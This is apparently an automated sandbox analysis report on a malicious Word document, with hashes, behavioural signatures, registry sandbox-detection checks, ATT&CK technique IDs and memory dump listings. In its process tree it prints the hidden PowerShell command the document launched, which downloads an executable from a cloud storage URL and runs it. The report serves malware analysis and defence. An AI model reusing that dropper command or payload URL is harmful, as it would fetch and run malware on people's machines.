7eda9593b5941e3572f7f72fb39e64161e55bbc50a771dc0d17f6312741b2bf7

General

Target

7eda9593b5941e3572f7f72fb39e64161e55bbc50a771dc0d17f6312741b2bf7.doc
Size

30KB
MD5

ac75ab65297e0443bc14fa2025273310
SHA1

436719387ae939ae31aba47db8a3ae380d7dd09c
SHA256

7eda9593b5941e3572f7f72fb39e64161e55bbc50a771dc0d17f6312741b2bf7
SHA512

f767dbef9cd943fff0fd0474eafb1bc842833908881650141a7e35eea2d249626eaea6d6f2c76150172cf8b94c484aecf02edef6c04cdf8f3c68ffa03eb32470

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1496	4176	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 1496 powershell.exe

flow	pid	process
29	1496	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4176 WINWORD.EXE
4176 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1496 powershell.exe
1496 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1496 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4176 WINWORD.EXE
4176 WINWORD.EXE
4176 WINWORD.EXE
4176 WINWORD.EXE
4176 WINWORD.EXE
4176 WINWORD.EXE
4176 WINWORD.EXE

pid	process
4176	WINWORD.EXE
4176	WINWORD.EXE

pid	process
1496	powershell.exe
1496	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1496	powershell.exe

pid	process
4176	WINWORD.EXE
4176	WINWORD.EXE
4176	WINWORD.EXE
4176	WINWORD.EXE
4176	WINWORD.EXE
4176	WINWORD.EXE
4176	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4176 wrote to memory of 1496	4176	WINWORD.EXE	powershell.exe
PID 4176 wrote to memory of 1496	4176	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7eda9593b5941e3572f7f72fb39e64161e55bbc50a771dc0d17f6312741b2bf7.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('https://storage.googleapis.com/auto_connect/Quotation_Request.exe','')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1496-137-0x0000000000000000-mapping.dmp

Download
memory/1496-139-0x00007FF8699C0000-0x00007FF86A481000-memory.dmp

Filesize
10.8MB

Download
memory/1496-138-0x000001AC263F0000-0x000001AC26412000-memory.dmp

Filesize
136KB

Download
memory/4176-133-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-134-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-135-0x00007FF853110000-0x00007FF853120000-memory.dmp

Filesize
64KB

Download
memory/4176-136-0x00007FF853110000-0x00007FF853120000-memory.dmp

Filesize
64KB

Download
memory/4176-130-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-132-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-131-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-141-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-142-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-143-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download
memory/4176-144-0x00007FF855170000-0x00007FF855180000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads